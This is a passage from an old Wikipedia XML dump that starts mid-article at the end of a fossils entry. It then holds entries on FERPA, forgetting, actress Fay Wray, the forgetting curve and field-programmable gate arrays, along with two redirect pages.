[[Pseudofossil]]s are visual patterns in rocks that are produced by naturally occurring geologic processes rather than biologic processes. They can easily be mistaken for real fossils. Some pseudofossils, such as [[Dendrite (crystal)|dendrite]]s, are formed by naturally occurring fissures in the rock that get filled up by percolating minerals. Other types of pseudofossils are kidney ore (round shapes in iron ore) and [[Agate|moss agate]]s, which look like moss or plant leaves. [[Concretion]]s, round or oval-shaped nodules found in some sedimentary strata, were once thought to be [[dinosaur]] eggs, and are often mistaken for fossils as well.

==Living fossils==

[[Living fossil]] is a term used for any living species which closely resembles a species known from fossils, i.e., as if the fossil had &quot;come to life&quot;. This can be a species known only from fossils until living representatives were discovered, such as the [[coelacanth]] and the [[ginkgo]] tree, or a single living species with no close relatives, such as the [[horseshoe crab]], that is the sole survivor of a once large and widespread group in the fossil record.



==See also==
* [[Compression fossil]]
* [[Collecting fossils]]
* [[Fossils and the geological timescale]]
* [[Fossil fuel]]s
* [[Prehistoric life]]
* [[Transitional fossil]]

==External links==
{{Commonscat|fossils}}
* [http://www.fossilmuseum.net/index.htm The Virtual Fossil Museum throughout Time and Evolution]
* http://www.english.fossiel.net/ - Fossil collecting locations in Europe

[[Category:Fossils| ]]
[[Category:Paleontology]]

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  <page>
    <title>Family Educational Rights and Privacy Act</title>
    <id>10960</id>
    <revision>
      <id>33020679</id>
      <timestamp>2005-12-28T18:35:51Z</timestamp>
      <contributor>
        <username>Markles</username>
        <id>195596</id>
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      <text xml:space="preserve">{{USFedLaw|
|short title=FERPA
|long title=Family Educational Rights and Privacy Act
|rep intro=Carl D. Perkins
|party=[[Republican Party (United States)|R]]
|rep state=Louisiana
|date house=January 3, 1973
|date senate=February 21, 1974 
|date law=August 21, 1974
|amend=
|USC title=20
|USC sec=1232(g)
|CFR title=34
|CFR sec=99
|other leg=
|}}
The '''Family Educational Rights and Privacy Act ''' of 1974 ('''FERPA''' or the '''Buckley Amendment''') is a federal [[statute]] codified at {{UnitedStatesCode|20|1232g}}, with implementing regulations in title 34, part 99 of the [[United States]] [[Code of Federal Regulations]].  The regulations cover violations such as parent volunteers grading another child's work, school employees divulging information to someone other than the child's parents about a child's homelife, grades or behaviors, and school work posted on a bulletin board with a grade.

This privacy policy also governs how state agencies transmit testing data to federal agencies.  For example see [[Education Data Network]].

Some [[World Wide Web|Web]] sites that supply access to the text of the regulations:

* http://www.access.gpo.gov/nara/cfr/waisidx_00/34cfr99_00.html
* http://www.ed.gov/policy/gen/guid/fpco/ferpa/index.html

The act is also referred to as the ''Buckley Amendment'', named for one of its proponents, Senator [[James Buckley]] of [[New York]].

[[Category:1974 in law]]
[[Category:United States federal education legislation]]</text>
    </revision>
  </page>
  <page>
    <title>FERPA</title>
    <id>10961</id>
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      <id>15908750</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Family Educational Rights and Privacy Act]]
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  <page>
    <title>Forgetting</title>
    <id>10963</id>
    <revision>
      <id>42092953</id>
      <timestamp>2006-03-03T19:58:32Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <comment>/* See also */ added one</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}

'''Forgetting''' (retention loss) is a spontaneous or gradual process in which old [[memory|memories]] are deleted from the memory storage. It is subject to delicately balanced optimization that ensures that only the least relevant memories are deleted, as well as a security process ensuring that dangerous information will not harm us. Forgetting can be prevented by repetition and/or evaluation of the information. As we are examining this part of mind, this function of mind, we shouldn't forget that this is still not an exactly explained property of mind.

Forgetting can have very different causes than simply removal of stored content. Forgetting can mean access problems, availability problems, or can have other reasons such as [[amnesia]] caused by accident.

In addition, information that has been stored may be permanently lost. Any information, to be able to permanently access our [[nervous system]], needs a certain amount of time for [[biochemical]] changes to occur; if this amount of time is not given due to a disruption, the information is lost. Disruption can be caused by accidents, [[brain surgery]], certain drugs, etc.; long-term memory is lost during the disruption.
(Example: A football player involved in a major injury could remember exactly what had happened immediately after the incident, yet they could not remember it twenty minutes earlier.)

A debatable yet popular concept is &quot;[[trace decay]]&quot;, which can occur in both short and [[long-term memory]]. This theory, applicable mostly to [[short-term memory]], is contradicted by the fact that one is able to ride a bike even after not having done so for decades. It is believed that certain memories &quot;trace decay&quot; while others don't. Nevertheless, one thing is certain: sleep right after the memorization process cannot stop trace decay totally, but it can at least diminish it (explaining why it can be good to study shortly before sleep).

== See also ==
* [[Amnesia]]
* [[Educational psychology]]

[[Category:Memory]]</text>
    </revision>
  </page>
  <page>
    <title>Free radical</title>
    <id>10964</id>
    <revision>
      <id>25243709</id>
      <timestamp>2005-10-11T01:55:22Z</timestamp>
      <contributor>
        <username>Home Row Keysplurge</username>
        <id>45536</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Radical (chemistry)]]</text>
    </revision>
  </page>
  <page>
    <title>Fay Wray</title>
    <id>10965</id>
    <revision>
      <id>40375218</id>
      <timestamp>2006-02-20T03:27:46Z</timestamp>
      <contributor>
        <username>Mayumashu</username>
        <id>203494</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">[[Image:Wray, Fay (King Kong) publicity photo.jpg|right|thumb|270px|Publicity photo for King Kong ca 1933]]
'''Fay Wray''' ([[September 15]], [[1907]] &amp;ndash; [[August 8]], [[2004]]) was a [[Canada|Canadian]]-[[United States|American]] actress, who was born '''Vina Fay Wray''' on a ranch near [[Cardston]], [[Alberta, Canada]]. 

== Early Life ==

Her family moved to the [[United States]] when she was three. Although Wray's autobiography discusses her [[Mormon]] parentage and makes it clear that she was culturally Mormon, she was apparently never baptized as a member of [[The Church of Jesus Christ of Latter-day Saints]]. Wray's family lived in predominantly Mormon communities in [[Alberta]], [[Arizona]] and [[Salt Lake City, Utah]] before settling in [[Los Angeles, California]], where she got her first film work in [[Hal Roach]] comedy shorts and in low-budget westerns in the early 1920s.

== Career ==

Wray gained media attention when she was selected as one of the [[WAMPAS Baby Stars]] in [[1926 in film|1926]], which landed her a contract at [[Paramount Pictures]].

In [[1928 in film|1928]], director [[Erich von Stroheim]] cast Wray as the main female lead in his troubled production of ''[[The Wedding March]]'', which sent Hollywood in a buzz for its high budget and production values. It was a massive failure (due to the fact that it was silent in a world of new talking pictures), but it gave Wray her first lead role. He also was romantically interested in the lovely Wray, and arranged a rendezvous in Hollywood, but she changed her mind and never showed.

She is best remembered for her role as [[Ann Darrow]], the blonde seductress of a gigantic, prehistoric gorilla in the classic [[horror film|horror]]/adventure film ''[[King Kong (1933 film)|King Kong]]'' ([[1933 in film|1933]]). She dyed her dark hair blonde for the role.  There have been claims the screams emanated from actress [[Julie Haydon]], and dubbed to Wray, but that has been disputed.

Wray also appeared in over a hundred other films, mostly in the [[1930s]], including ''[[The Four Feathers]]'' ([[1929 in film|1929]]), [[Doctor X]] ([[1932 in film|1932]]), ''[[The Most Dangerous Game]]'' ([[1932|1932 in film]]), ''[[The Vampire Bat]]'' ([[1933|1933 in film]]), and ''[[Mystery of the Wax Museum]]'' (1933).  She also appeared in ''[[Viva Villa]]'' (1934) with [[Wallace Beery]], ''The Texan'', ''The Conquering Horde'', and ''One Sunday Afternoon''. Later in her career, Wray appeared in ''Small Town Girl'', ''Tammy and the Bachelor'', and ''Summer Love''.

== Personal Life == 

Wray was married 3 times. 
*John Monk Saunders 
*[[Robert Riskin]]
*Dr. Sanford Rothenberg 
*She is the mother of Susan Saunders, Victoria Riskin and Robert Riskin Jr.

Her autobiography, ''[[On the Other Hand]]'' (ISBN 0312022654), was published in [[1988]]. 

For her contribution to the motion picture industry, Fay Wray has a star on the [[Hollywood Walk of Fame]] at 6349 Hollywood Blvd. She received a posthumous star on [[Canada's Walk of Fame]] in [[Toronto]] on [[June 5]], [[2005 in film|2005]].

A small park near Lee's Creek on Main Street in Cardston, Alberta, is named Fay Wray Park in her honor.  The small sign at the edge of the park on Main Street has a silouette of King Kong on it.

Wray died at her apartment in [[Manhattan]], [[New York]] at the age of 96 of natural causes on [[August 8]], [[2004 in film|2004]], and was interred at the [[Hollywood Forever Cemetery]] in [[Hollywood, California]]. 

==Trivia==

* [[Peter Jackson]] had approached her about doing a cameo in his 2005 remake of '''[[King Kong (2005 film)|King Kong]]''', but she passed away before she could do so.
* She is referred to in the '''King Kong''' remake: [[Carl Denham]] ([[Jack Black (actor)|Jack Black]]) needs to find an actress quickly, and suggests 'Fay' as a possibility.  However, he is told that she is making a film with  &quot;Cooper&quot; for [[RKO]].  [[Merian C. Cooper]] was the director of the original film, produced for RKO.

==Filmography==

*''[[Gasoline Love]]'' (1923) (short subject)
*''[[Thundering Landlords]]'' (1925) (short subject)
*''[[No Father to Guide Him]]'' (1925) (short subject)
*''[[The Coast Patrol]]'' (1925)
*''[[Sure-Mike]]'' (1925) (short subject)
*''[[What Price Goofy]]'' (1925) (short subject)
*''[[Isn't Life Terrible?]]'' (1925) (short subject)
*''[[Chasing the Chaser]]'' (1925) (short subject)
*''[[Madame Sans Jane]]'' (1925) (short subject)
*''[[Unfriendly Enemies]]'' (1925) (short subject)
*''[[Your Own Back Yard]]'' (1925) (short subject)
*''[[Moonlight and Noses]]'' (1925) (short subject)
*''[[Should Sailors Marry?]]'' (1925) (short subject)
*''[[WAMPAS Baby Stars of 1926]]'' (1926) (short subject)
*''[[One Wild Time]]'' (1926) (short subject)
*''[[Don Key (A Son of a Burro]]'' (1926) (short subject)
*''[[The Man in the Saddle]]'' (1926)
*''[[Don't Shoot]]'' (1926) (short subject)
*''[[The Wild Horse Stampede]]'' (1926) 
*''[[The Saddle Tramp]]'' (1926) (short subject)
*''[[The Show Cowpuncher]]'' (1926) (short subject)
*''[[Lazy Lightning]]'' (1926)
*''[[Loco Luck]]'' (1927)
*''[[A One Man Game]]'' (1927)
*''[[Spurs and Saddles]]'' (1927)
*''[[A Trip Through the Paramount Studio]]'' (1927) (short subject)
*''[[The Honeymoon]]'' (1928) (unreleased)
*''[[The Legion of the Condemned]]'' (1928)
*''[[Street of Sin]]'' (1928)
*''[[The First Kiss]]'' (1928)
*''[[The Wedding March]]'' (1928)
*''[[Thunderbolt]]'' (1929)
*''[[The Four Feathers]]'' (1929)
*''[[Pointed Heels]]'' (1929)
*''[[Behind the Make-Up]]'' (1930)
*''[[Paramount on Parade]]'' (1930)
*''[[The Texan]]'' (1930)
*''[[The Border Legion]]'' (1930)
*''[[The Sea God]]'' (1930)
*''[[Captain Thunder]]'' (1930)
*''[[The Conquering Horde]]'' (1931)
*''[[Three Rogues]]'' (1931)
*''[[The Slippery Pearls]]'' (1931) (short subject)
*''[[Dirigible (movie)|Dirigible]]'' (1931)
*''[[The Finger Points]]'' (1931)
*''[[The Lawyer's Secret]]'' (1931)
*''[[The Unholy Garden]]'' (1931)
*''[[Hollywood on Parade]]'' (1932) (short subject)
*''[[Stowaway]]'' (1932)
*''[[Doctor X]]'' (1932)
*''[[The Most Dangerous Game]]'' (1932)
*''[[The Vampire Bat]]'' (1932)
*''[[Mystery of the Wax Museum]]'' (1933)
*''[[King Kong (1933 film)|King Kong]]'' (1933)
*''[[Below the Sea]]'' (1933)
*''[[Ann Carver's Profession]]'' (1933)
*''[[The Woman I Stole]]'' (1933)
*''[[Shanghai Madness]]'' (1933)
*''[[The Big Brain]]'' (1933)
*''[[One Sunday Afternoon]]'' (1933)
*''[[The Bowery (1933 film)|The Bowery]]'' (1933)
*''[[Master of Men]]'' (1933)
*''[[The Clairvoyant]]'' (1934)
*''[[Madame Spy]]'' (1934)
*''[[The Countess of Monte Cristo]]'' (1934)
*''[[Once to Every Woman]]'' (1934)
*''[[Viva Villa!]]'' (1934)
*''[[The Affairs of Cellini]]'' (1934)
*''[[Black Moon]]'' (1934)
*''[[The Richest Girl in the World]]'' (1934)
*''[[Cheating Cheaters]]'' (1934)
*''[[Woman in the Dark]]'' (1934)
*''[[Come Out of the Pantry]]'' (1935)
*''[[Mills of the Gods]]'' (1935)
*''[[Bulldog Jack]]'' (1935)
*''[[White Lies]]'' (1935)
*''[[When Knight Were Bold]]'' (1936)
*''[[Roaming Lady]]'' (1936)
*''[[They Met in a Taxi]]'' (1936)
*''[[It Happened in Hollywood]]'' (1937)
*''[[Murder in Greenwich Village]]'' (1937)
*''[[The Jury's Secret]]'' (1938)
*''[[Smashing the Spy Ring]]'' (1939)
*''[[Navy Secrets]]'' (1939)
*''[[Wildcat Bus]]'' (1940)
*''[[Melody for Three]]'' (1941)
*''[[Adam Had Four Sons]]'' (1941)
*''[[Not a Ladies' Man]]'' (1942)
*''[[Treasure of the Golden Condor]]'' (1953)
*''[[Small Town Girl]]'' (1953)
*''[[Hell on Frisco Bay]]'' (1955)
*''[[The Cobweb]]'' (1955)
*''[[Queen Bee]]'' (1955)
*''[[Rock, Pretty Baby]]'' (1956)
*''[[Crime of Passion]]'' (1957)
*''[[Tammy and the Bachelor]]'' (1957)
*''[[Summer Love]]'' (1958)
*''[[Dragstrip Riot]]'' (1958)
*''[[Off the Menu: The Last Days of Chasen's]]'' (1997) (documentary)
*''[[Broadway: The Golden Age, by the Legends Who Were There]]'' (2003) (documentary)

==See also== 
*[[Canadian pioneers in early Hollywood|Other Canadian pioneers in early Hollywood]]

==External links==
*{{imdb name|id=00942039|name=Fay Wray}}
* [http://www.moviemaidens.com/profile.asp?i=1013 Fay Wray at MovieMaidens.com]
* [http://www.cbc.ca/story/arts/national/2004/08/09/Arts/faywray080409.html CBC.ca News: Fay Wray dies at 96]
* [http://www.things-and-other-stuff.com/movies/profiles/fay-wray-1.htm A more complete biography]
* [http://www.cultsirens.com/wray/wray.htm Cult Sirens: Fay Wray]

[[Category:1907 births|Wray, Fay]]
[[Category:2004 deaths|Wray, Fay]]
[[Category:American silent film actors|Wray, Fay]]
[[Category:American film actors|Wray, Fay]]
[[Category:Hollywood Walk of Fame|Wray, Fay]]
[[Category:Canada's Walk of Fame|Wray, Fay]]
[[Category:Entertainers who died in their 90s|Wray, Fay]]
[[Category:People from Alberta|Wray, Fay]]
[[Category:Canadian Americans|Wray, F]]

[[de:Fay Wray]]
[[eo:Fay WRAY]]
[[fr:Fay Wray]]
[[fi:Fay Wray]]
[[pl:Fay Wray]]
[[ru:Рэй, Фэй]]
[[sv:Fay Wray]]</text>
    </revision>
  </page>
  <page>
    <title>Forgetting curve</title>
    <id>10967</id>
    <revision>
      <id>28516314</id>
      <timestamp>2005-11-16T17:06:14Z</timestamp>
      <contributor>
        <username>Joy Stovall</username>
        <id>69412</id>
      </contributor>
      <comment>rmv &quot;interestingly&quot;</comment>
      <text xml:space="preserve">The '''forgetting curve''' illustrates the decline of [[memory retention]] in time.  A related concept is the '''strength of memory''' that refers to the durability that [[memory]] traces in the [[brain]]. The stronger the memory, the longer we can remember it.  A typical [[graph of a function|graph]] of the forgetting [[curve]] shows that humans tend to halve their memory of newly learned knowledge in a matter of days or weeks unless they consciously review the learned material.
.
We can roughly describe forgetting with

:&lt;math&gt;R = e^{-t/S}&lt;/math&gt;

where &lt;math&gt;R&lt;/math&gt; is [[memory retention]], &lt;math&gt;S&lt;/math&gt; is relative strength of memory and &lt;math&gt;t&lt;/math&gt; is [[time]] (see [[exponential decay]]). 

The speed of forgetting depends on a number of factors such as the difficulty of the learned material (e.g. how meaningful it is), its representation (see: [[mnemonic]]), and physiological factors such as [[stress (psychology)|stress]] and [[sleep]]. The [[basal forgetting rate]] differs little between individuals.  The difference in performance (e.g. at school) can be explained by mnemonic representation skills. This means that some people are able to &quot;imagine&quot; memories in the right way while others are not.

Basic training in mnemonic techniques can help overcome those differences in part.  The best methods for increasing the strength of memory are:
# better memory representation (e.g. with [[mnemonic techniques]])
# repetition based on [[active recall]] (esp. [[spaced repetition]])
Each repetition in learning increases the optimum interval before the next repetition is needed (for near-perfect [[retention]], initially repetitions may need to be made within days, but later then can be made after years)

The first significant study in this area was carried out by [[Hermann Ebbinghaus]] and published in 1885 as ''Über das Gedächtnis'' (later translated into English as ''Memory. A Contribution to Experimental Psychology''). Ebbinghaus studied the memorisation of nonsense syllables, such as &quot;WID&quot; and &quot;ZOF&quot;. By repeatedly testing himself after various time periods and recording the results, he was the first to describe the shape of the forgetting curve.

The forgetting curve is steepest for nonsensical material such as that studied by Ebbinghaus. On the other hand, it is nearly flat for vivid or traumatic memories. The flatness of the curve is not necessarily evidence for the decrease in the [[forgetting rate]], but can be taken as evidence of implicit repetition (e.g. reliving memories) that indefinitely restores memory traces.

In a typical schoolbook application (e.g. learning word pairs), most students show the retention of 90% after 3-6 days (depending on the material). This means that, in this period, the forgetting curve &quot;falls&quot; by 10%.

[[de:Vergessenskurve]]

[[Category:Memory]]</text>
    </revision>
  </page>
  <page>
    <title>Field-programmable gate array</title>
    <id>10969</id>
    <revision>
      <id>41757841</id>
      <timestamp>2006-03-01T15:04:41Z</timestamp>
      <contributor>
        <username>Atlant</username>
        <id>124135</id>
      </contributor>
      <comment>revert; I think &quot;stimulate&quot; was the intended word here, as in &quot;stimulus and response&quot;</comment>
      <text xml:space="preserve">[[Image:Altera_Flex_EPF10K20_20000_cell_FPGA.jpg|thumb|300px|An [[Altera]] FPGA with 20,000 cells.]]
A '''field-programmable gate array''' or '''FPGA''' is a [[semiconductor]] device containing programmable logic components and programmable interconnects. The programmable logic components can be programmed to duplicate the functionality of basic [[Logic gate|logic gate]]s (such as AND, OR, XOR, NOT) or more complex combinatorial functions such as decoders or simple math functions. In most FPGAs, these programmable logic components (or logic blocks, in FPGA parlance) also include memory elements, which may be simple [[Flip-flop (electronics)|flip-flops]] or more complete blocks of memories.

A hierarchy of programmable interconnects allows the logic blocks of an FPGA to be interconnected as needed by the system designer, somewhat like a one-chip programmable [[breadboard]]. These logic blocks and interconnects can be programmed after the manufacturing process by the customer/designer (hence the term &quot;field-programmable&quot;) so that the FPGA can perform whatever logical function is needed.

FPGAs are generally slower than their [[application-specific integrated circuit]] (ASIC) counterparts, can't handle as complex a design, and draw more power. However, they have several advantages such as a shorter [[time to market]], ability to re-program in the field to fix bugs, and lower [[non-recurring engineering]] costs. Vendors may offer less flexible versions of their FPGAs that are cheaper. The development of these designs is made on regular FPGAs and then migrated into a fixed version that more resembles an ASIC due to lack of ability to modify the design once it is committed. Another alternative is complex programmable logic devices [[CPLD]].

== Historical roots ==
FPGAs have their historical roots in complex programmable logic devices ([[CPLD]]s) of the early to mid 1980s. CPLDs and FPGAs include a relatively large number of programmable logic elements. CPLD logic gate densities range from the equivalent of several thousand to tens of thousands of logic gates, while FPGAs typically range from tens of thousands to several million.

The primary differences between CPLDs and FPGAs are architectural. A CPLD has a somewhat restrictive structure consisting of one or more programmable sum-of-products logic arrays feeding a relatively small number of clocked registers. The result of this is a general lack of design flexibility, with the advantage of more predictable timing delays and a higher logic-to-interconnect ratio. FPGA architectures, on the other hand, are dominated by interconnect. This makes them far more flexible (in terms of the range of designs that are practical for implementation within them) but also far more complex to design for.

Another notable difference between CPLDs and FPGAs is the presence in most FPGAs of higher-level embedded functions (such as adders and multipliers) and embedded memories. A related, important difference is that many modern FPGAs support full or partial in-system reconfiguration, allowing their designs to be changed &quot;on the fly&quot; either for system upgrades or for dynamic reconfiguration as a normal part of system operation. Some FPGAs have the capability of [[partial re-configuration]] that lets one portion of the device be re-programmed while other portions continue running.

A recent trend has been to take the coarse-grained architectural approach a step further by combining the logic blocks and interconnects of traditional FPGAs with embedded microprocessors and related peripherals to form complete &quot;systems on a programmable chip&quot;. Examples of such hybrid technologies can be found in the [[Xilinx]] Virtex-II PRO and Virtex-4 devices, which include one or more [[PowerPC]] processors embedded within the FPGA's logic fabric. The Atmel FPSLIC is another such device, which uses an AVR processor in combination with Atmel's programmable logic architecture. An alternate approach is to make use of &quot;soft&quot; processor cores that are implemented within the FPGA logic. These cores include the Xilinx MicroBlaze and PicoBlaze, and the [[Altera]] Nios and Nios II processors, as well as third-party (either commercial or free) processor cores.

As previously mentioned, many modern FPGAs have the ability to be reprogrammed at &quot;run time,&quot; and this is leading to the idea of [[reconfigurable computing]] or [[reconfigurable system]]s &amp;mdash; [[central processing unit|CPUs]] that reconfigure themselves to suit the task at hand. Current FPGA tools, however, do not fully support this methodology.

It should be noted here that new, non-FPGA architectures are beginning to emerge. Software-configurable [[microprocessor]]s such as the [[Stretch S5000]] adopt a hybrid approach by providing an array of processor cores and FPGA-like programmable cores on the same chip. Other devices (such as Mathstar's Field Programmable Object Array, or FPOA) provide arrays of higher-level programmable objects that lie somewhere between an FPGA's logic block and a more complex processor.

== Applications ==
Applications of FPGAs include [[digital signal processor|DSP]], [[software-defined radio]], [[aerospace]] and [[Defense (military)|defense]] systems, [[ASIC]] prototyping, [[medical imaging]], [[computer vision]], [[speech recognition]], [[cryptography]], [[bioinformatics]], and a growing range of other areas.
FPGAs originally began as competitors to [[CPLD]]s and competed in a similar space, that of [[glue logic]] for [[Printed_circuit_board|PCBs]]. As their size, capabilities and speed increased they began to take over larger and larger functions to the state where they are now marketed as competitors for full systems on chips.
They now find applications in any area or algorithm that can make use of the massive parallelism offered by their architecture.

== Architecture ==
The typical basic architecture consists of an array of logic blocks and routing channels. Multiple I/O pads may fit into the height of one row or the width of one column. Generally, all the routing channels have the same width (number of wires). 
[[Image:fpga_structure.gif|frame|center|FPGA structure]]

An application circuit must be mapped into an FPGA with adequate resources. 

The typical FPGA logic block consists of a 4-input [[lookup table]] (LUT), and a [[Flip-flop_(electronics)|flip-flop]], as shown at below. 

[[Image:logic_block.gif|frame|center|Logic block]]

There is only one output, which can be either the registered or the unregistered LUT output. The logic block has four inputs for the LUT and a clock input. Since clock signals (and often other high-[[fanout]] signals) are normally routed via special-purpose dedicated routing networks in commercial FPGAs, they are accounted for separately from other signals.

For this example architecture, the locations of the FPGA logic block pins are shown below.
[[Image:logic_block_pins.gif|frame|center|Logic Block Pin Locations]]

Each input is accessible from one side of the logic block, while the output pin can connect to routing wires in both the channel to the right and the channel below the logic block. 

Each logic block output pin can connect to any of the wiring segments in the channels adjacent to it. The figure below should make the situation clear. 

[[Image:F_c.gif|frame|center|Logic block pin to routing channel interconnect]]

Similarly, an I/O pad can connect to any one of the wiring segments in the channel adjacent to it. For example, an I/O pad at the top of the chip can connect to any of the W wires (where W is the channel width) in the horizontal channel immediately below it. 

Generally, the FPGA routing is unsegmented. That is, each wiring segment spans only one logic block before it terminates in a switch box. By turning on some of the programmable switches within a switch box, longer paths can be constructed. For higher speed interconnect, some FPGA architectures use longer routing lines that span multiple logic blocks.

[[Image:segmentation.gif|frame|center|Unsegmented FPGA routing]]

Whenever a vertical and a horizontal channel intersect there is a switch box. In this architecture, when a wire enters a switch box, there are three programmable switches that allow it to connect to three other wires in adjacent channel segments.  The pattern, or topology, of switches used in this architecture is the planar or domain-based switch box topology. In this switch box topology, a wire in track number one connects only to wires in track number one in adjacent channel segments, wires in track number 2 connect only to other wires in track number 2 and so on. The figure below illustrates the connections in a switch box. 

[[Image:switch_box.gif|frame|center|Switch box topology]]

Modern FPGA families expand upon the above capabilities to include higher level functionality fixed into the silicon. Having these common function embedded into the silicon reduces the area required and gives those functions increased speed compared to building them from primitives. Example of these include multipliers, generic DSP blocks, embedded processors, high speed IO logic and embedded memories.

FPGA are also widely used for System Validation Application. These application inculde Pre Silicon validation, Post Silicon validation, firmware development. These application enable chip companies to validate their design before the Chip is out from the foundry, reducing the time to market.

== FPGA design and programming ==
To define the behavior of the FPGA the user provides a [[hardware description language]] (HDL) or a [[schematic]] design. Common HDLs are [[VHDL]] and [[Verilog]]. Then, using an [[electronic design automation]] tool, a technology-mapped [[netlist]] is generated. The netlist can then be fitted to the actual FPGA architecture using a process called [[Place and route|place-and-route]], usually performed by the FPGA company's proprietary place-and-route software. The user will validate the map, place and route results via [[timing analysis]], [[simulation]], and other [[verification]] methodologies. Once the design and validation process is complete, the binary file generated (also using the FPGA company's proprietary software) is used to (re)configure the FPGA device.

In an attempt to reduce the complexity of designing in HDLs, which have been compared to the equivalent of assembly languages, there are moves to raise the abstraction level of the design. Companies such as [[Cadence Design Systems|Cadence]], [[Synopsys]] and [[Celoxica]] are promoting [[SystemC]] as a way to combine high level languages with concurrency models to allow faster design cycles for FPGAs than is possible using traditional HDLs. Approaches based on standard C or C++ (with libraries or other extensions allowing parallel programming) are found in the Catapult C tools from  [[Mentor Graphics]], and in the Impulse C tools from Impulse Accelerated Technologies. Annapolis Micro Systems, Inc.'s CoreFire Design Suite provides a graphical dataflow approach to high-level design entry. Languages such as [[SystemVerilog]], [[SystemVHDL]], and [[Handel-C]] (from [[Celoxica]]) seek to accomplish the same goal, but are aimed at making existing hardware engineers more productive vs making FPGAs more accessible to existing software engineers.

To simplify the design of complex systems in FPGAs, there exist libraries of predefined complex functions and circuits that have been tested and optimized to speed up the design process. These predefined circuits are commonly called ''[[intellectual property block]]s'', and are available from FPGA vendors and third-party IP suppliers (rarely free, and typically released under proprietary licenses).  Other predefined circuits, which cannot meaningfully be described as &quot;property&quot; are from developer communities such as [http://www.opencores.org/ OpenCores.org] (typically &quot;[[Free_sofware#Usage|free]]&quot;, and released under the [[GPL]], [[Bsd_license|BSD]] or similar license), and other sources.

In a typical design flow, an FPGA application developer will simulate the design at multiple stages throughout the design process. Initially the [[RTL]] description in [[VHDL]] or [[Verilog]] is simulated by creating test benches to stimulate the system and observe results. Then after the synthesis engine has mapped the design to a netlist the netlist is translated to a gate level description where simulation is repeated to confirm the synthesis proceeded without errors. Finally the design is laid out in the FPGA at which point propagation delays can be added and the simulation run again with these values back-annotated onto the netlist.

== Basic process technology types ==
*[[Static Random Access Memory|SRAM]] - based on static memory technology. In-system programmable and re-programmable. Requires external boot devices. Usually [[CMOS]].
*[[Antifuse]] - One-time programmable. CMOS.
*[[EPROM]] - Erasable Programmable Read-Only Memory technology. Usually one-time programmable in production because of plastic packaging. Windowed devices can be erased with ultraviolet (UV) light. CMOS.
*[[EEPROM]] - Electrically Erasable Programmable Read-Only Memory technology. Can be erased, even in plastic packages. Some, but not all, EEPROM devices can be in-system programmed. CMOS.
*[[Flash memory|FLASH]] - Flash-erase EPROM technology. Can be erased, even in plastic packages. Some, but not all, FLASH devices can be in-system programmed. Usually, a FLASH cell is smaller than an equivalent EEPROM cell and is therefore less expensive to manufacture. CMOS.
*[[Fuse (electrical)|Fuse]] - One-time programmable. Bipolar.

== Some FPGA manufacturers and their specialties ==

As of late 2005, the FPGA market has mostly settled into a state where there are two major &quot;general-purpose&quot; FPGA manufacturers and a number of other players who differentiate themselves by offering unique capabilities.

* [[Xilinx]] has traditionally been the FPGA leader.
* [[Altera]] is the second FPGA heavyweight.
* [[Lattice Semiconductor]] focuses on low-cost, feature-optimized FPGAs and non-volatile, flash-based FPGAs.
* [http://www.actel.com/ Actel] has antifuse and reprogrammable flash-based FPGAs.
* [http://www.quicklogic.com/ QuickLogic] has antifuse (programmable-only-once) products.
* [[Cypress Semiconductor]]
* [[Atmel]] is the only manufacturer whose devices are fine-grain reconfigurable (the Xilinx XC62xx were, but they are no longer in production).  They focus on providing [[AVR]] Microcontrollers with FPGA fabric on the same die.  These factors aside, their devices tend to be smaller and more expensive than other manufacturers'.
* [http://www.achronix.com/ Achronix Semiconductor] has very fast FPGAs in development. They plan to ship in early 2007 and claim they can reach speeds of over 1GHZ.

== Some FPGA third-party tool suppliers with descriptions ==

* [http://www.accelchip.com/ Accelchip] provides high-level FPGA design tools based on Matlab and Simulink.
* [http://www.aldec.com/ Aldec] provides FPGA design and verification tools, including a popular HDL simulator.
* [http://www.altium.com/ Altium] provides FPGA synthesis and simulation tools, as well as IP blocks that include processor cores.
* [http://www.annapmicro.com/ Annapolis Micro Systems, Inc.] provides the WILDSTAR family of COTS FPGA-based computing platforms, the CoreFire Design Suite for high-level design entry, and IP blocks for digital signal processing.
* [http://www.celoxica.com/ Celoxica] provides SystemC and Handel-C tools for high-level design entry and verification.
* [http://www.gedae.com/ Gedae] provides high-level FPGA and DSP programming tools allowing programmers to develop to hetergenous systems and related optimization and verification tools.
* [http://www.impulsec.com/ Impulse] provides the Impulse C compiler and related optimization and verification tools.
* [http://www.lyrtech.com/ Lyrtech] provides hardware combining FPGA and DSP technologies plus high-level FPGA-DSP design tools based on Matlab, Simulink, Xilinx Sysgen and Texas Instruments CCS.
* [http://www.mentor.com/ Mentor] provides the Catapult C high-level design tools, as well as a wide range of HDL synthesis and simulation tools.
* [http://www.synopsys.com/ Synopsys] provides HDL synthesis tools, as well as a broad range of verification and high-level design tools.
* [http://www.synplicity.com/ Synplicity] provides HDL synthesis, FPGA physical synthesis and verification tools.

== FPGA research ==

* [http://cas.ee.ic.ac.uk Circuits and Systems Group, Imperial College London]
* [http://proteas.ee.duth.gr/index.html MEANDER FPGA Design Framework from the Democritus University of Thrace (Greece)] 
* [http://www.eecg.toronto.edu/EECG/RESEARCH/FPGA.html FPGA Research at the University of Toronto] 
* [http://www.ece.neu.edu/groups/rcl/index.html FPGA Research at Northeastern University]
* [http://www.icmc.usp.br/~lcr/ LCR]
* [http://www.emlabs.info/taxonomy/term/36 FPGA Research Groups] - a list of Universities and Research Groups that are engaged in FPGA development.
*[http://www.da-iict.org Student]Priyanka Kumar

== See also ==

* [[CPLD]]
* [[Gateware]]

== External links ==

* [http://www.rtcmagazine.com/home/article.php?id=100125 A good FPGA tools overview]
* [http://www.dsp-fpga.com/articles/topics/FPGAs/ FPGA Articles] FPGA articles from DSP-FPGA.com
* [http://www.opencores.org/ Opencores] A set of [[open source]], [[IP core]]s that can be implemented in FPGAs
* [http://www.fpgaworld.com/ FPGAworld] news, jobs, forums, demos etc.
* [http://tutor.al-williams.com Tutorial for Xilinx and Altera with schematics or verilog]
* [http://www.fpga4fun.com/ fpga4fun.com] various fpga projects
* [http://www.fpgajournal.com/ FPGA Journal]
